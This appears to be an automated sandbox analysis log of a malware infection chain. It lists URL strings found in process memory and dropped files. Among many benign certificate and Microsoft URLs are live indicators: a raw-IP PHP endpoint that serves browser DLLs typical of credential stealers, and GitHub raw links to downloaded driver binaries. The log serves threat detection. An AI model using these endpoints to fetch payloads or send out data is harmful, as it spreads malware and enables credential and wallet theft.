Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/3836fd5700214436/msvcp140.dll
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/3836fd5700214436/msvcp140.dllj
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/3836fd5700214436/nss3.dll
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/3836fd5700214436/nss3.dll%
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/3836fd5700214436/nss3.dll:
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/3836fd5700214436/nss3.dllA5
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/3836fd5700214436/softokn3.dll
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/3836fd5700214436/softokn3.dllR
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/3836fd5700214436/sqlite3.dll
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A5D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/3836fd5700214436/vcruntime140.dll
Source: svchost015.exe, 0000001D.00000002.2618548795.00000000009FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/7
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/E
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.php
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.php#
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.php-fulluser-l1-1-0
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.php.dll
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.php3
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.php7
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.php?
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.php?0
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A5D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpCoinomi
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpK
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpK0
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpN=
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpg
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpg0
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpo
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A5D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpser
Source: svchost015.exe, 0000001D.00000002.2614164343.00000000005AD000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phption:
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.php~0
Source: svchost015.exe, 0000001D.00000002.2614164343.00000000005AD000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158IIEH
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: explorer.exe, 00000001.00000000.1703368759.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1704715234.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe.26.dr String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.cer0Q
Source: Burn.pif, 00000011.00000003.2227175462.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp, Burn.pif, 00000011.00000003.2924741596.000000000350A000.00000004.00000020.00020000.00000000.sdmp, SwiftServe.scr.17.dr, Dod.7.dr, Burn.pif.8.dr String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Burn.pif, 00000011.00000003.2227175462.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp, Burn.pif, 00000011.00000003.2924741596.000000000350A000.00000004.00000020.00020000.00000000.sdmp, SwiftServe.scr.17.dr, Dod.7.dr, Burn.pif.8.dr String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Burn.pif, 00000011.00000003.2227175462.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp, Burn.pif, 00000011.00000003.2924741596.000000000350A000.00000004.00000020.00020000.00000000.sdmp, SwiftServe.scr.17.dr, Dod.7.dr, Burn.pif.8.dr String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Burn.pif, 00000011.00000003.2227175462.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp, Burn.pif, 00000011.00000003.2924741596.000000000350A000.00000004.00000020.00020000.00000000.sdmp, SwiftServe.scr.17.dr, Dod.7.dr, Burn.pif.8.dr String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe.26.dr String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: explorer.exe, 00000001.00000000.1703368759.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1704715234.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: explorer.exe, 00000001.00000000.1703368759.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1704715234.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe.26.dr String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.crl0
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe.26.dr String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe.26.dr String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: RegAsm.exe, 0000001F.00000002.4105752238.000000000092E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: RegAsm.exe, 0000001F.00000002.4105752238.000000000092E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: 329C.exe, 00000007.00000002.2197214813.0000000000408000.00000002.00000001.01000000.00000006.sdmp, 329C.exe, 00000007.00000002.2197633579.0000000000873000.00000002.00000001.01000000.00000006.sdmp, 329C.exe, 00000007.00000000.2189914401.0000000000408000.00000002.00000001.01000000.00000006.sdmp String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000001.00000000.1703368759.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1704715234.000000000982D000.00000004.00000001.00020000.00000000.sdmp, freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: explorer.exe, 00000001.00000000.1703368759.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe.26.dr String found in binary or memory: http://ocsp.sectigo.com0
Source: Burn.pif, 00000011.00000003.2227175462.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp, Burn.pif, 00000011.00000003.2924741596.000000000350A000.00000004.00000020.00020000.00000000.sdmp, SwiftServe.scr.17.dr, Dod.7.dr, Burn.pif.8.dr String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Burn.pif, 00000011.00000003.2227175462.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp, Burn.pif, 00000011.00000003.2924741596.000000000350A000.00000004.00000020.00020000.00000000.sdmp, SwiftServe.scr.17.dr, Dod.7.dr, Burn.pif.8.dr String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Burn.pif, 00000011.00000003.2227175462.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp, Burn.pif, 00000011.00000003.2924741596.000000000350A000.00000004.00000020.00020000.00000000.sdmp, SwiftServe.scr.17.dr, Dod.7.dr, Burn.pif.8.dr String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe.26.dr String found in binary or memory: http://ocsps.ssl.com0
Source: explorer.exe, 00000001.00000000.1704715234.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.mi
Source: explorer.exe, 00000001.00000000.1704715234.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.micr
Source: explorer.exe, 00000001.00000000.1703982523.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1705430014.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1704330354.0000000008720000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://schemas.micro
Source: RegAsm.exe, 0000001F.00000002.4107921007.0000000002494000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.4107921007.00000000028D3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Burn.pif, 00000011.00000003.2227175462.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp, Burn.pif, 00000011.00000003.2924741596.000000000350A000.00000004.00000020.00020000.00000000.sdmp, SwiftServe.scr.17.dr, Dod.7.dr, Burn.pif.8.dr String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Burn.pif, 00000011.00000003.2227175462.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp, Burn.pif, 00000011.00000003.2924741596.000000000350A000.00000004.00000020.00020000.00000000.sdmp, SwiftServe.scr.17.dr, Dod.7.dr, Burn.pif.8.dr String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: Burn.pif, 00000011.00000000.2216560100.00000000006E9000.00000002.00000001.01000000.00000007.sdmp, Burn.pif, 00000011.00000003.2227175462.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp, SwiftServe.scr, 00000019.00000000.2241141842.0000000000EE9000.00000002.00000001.01000000.0000000A.sdmp, SwiftServe.scr, 0000001C.00000002.2435797757.0000000000EE9000.00000002.00000001.01000000.0000000A.sdmp, SwiftServe.scr.17.dr, Dod.7.dr, Burn.pif.8.dr String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: svchost015.exe, svchost015.exe, 0000001D.00000002.2675141656.000000006C8AD000.00000002.00000001.01000000.0000000F.sdmp, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: svchost015.exe, 0000001D.00000002.2647841701.000000001AD9A000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2672949508.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000000.2401576830.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, svchost015.exe.26.dr String found in binary or memory: http://www.x-ways.net/order
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000000.2401576830.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, svchost015.exe.26.dr String found in binary or memory: http://www.x-ways.net/order.html-d.htmlS
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000000.2401576830.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, svchost015.exe.26.dr String found in binary or memory: http://www.x-ways.net/winhex/license
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000000.2401576830.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, svchost015.exe.26.dr String found in binary or memory: http://www.x-ways.net/winhex/license-d-f.htmlS
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000000.2401576830.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, svchost015.exe.26.dr String found in binary or memory: http://www.x-ways.net/winhex/subscribe
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000000.2401576830.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, svchost015.exe.26.dr String found in binary or memory: http://www.x-ways.net/winhex/subscribe-d.htmlU
Source: IECFHDBA.29.dr String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 00000001.00000000.1706663515.000000000C893000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000001.00000000.1703368759.00000000079FB000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000001.00000000.1703368759.00000000079FB000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000001.00000000.1706663515.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000001.00000000.1704715234.00000000097D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000001.00000000.1704715234.00000000097D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000001.00000000.1702660971.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1702194356.0000000001240000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000001.00000000.1704715234.00000000096DF000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1704715234.00000000097D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000001.00000000.1704715234.00000000096DF000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: svchost015.exe, 0000001D.00000002.2662277736.0000000026E12000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, KJEHDHIEGIIIDHIDHDHJ.29.dr String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: svchost015.exe, 0000001D.00000002.2662277736.0000000026E12000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, KJEHDHIEGIIIDHIDHDHJ.29.dr String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: IECFHDBA.29.dr String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ep
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.epnacl
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000001.00000000.1703368759.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000001.00000000.1703368759.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.29.dr String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.29.dr String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: svchost015.exe, 0000001D.00000002.2662277736.0000000026E12000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, KJEHDHIEGIIIDHIDHDHJ.29.dr String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: svchost015.exe, 0000001D.00000002.2662277736.0000000026E12000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, KJEHDHIEGIIIDHIDHDHJ.29.dr String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: IECFHDBA.29.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: IECFHDBA.29.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: IECFHDBA.29.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 00000001.00000000.1706663515.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://excel.office.com
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000000.2401576830.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, svchost015.exe.26.dr String found in binary or memory: https://github.com/tesseract-ocr/tessdata/
Source: RegAsm.exe, 0000001F.00000002.4107921007.0000000002494000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/testdemo345/DemoThing/raw/main/WebDriver.dll
Source: RegAsm.exe, 0000001F.00000002.4107921007.0000000002494000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/testdemo345/DemoThing/raw/main/chromedriver.exe
Source: RegAsm.exe, 0000001F.00000002.4107921007.0000000002494000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/testdemo345/DemoThing/raw/main/msedgedriver.exe
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
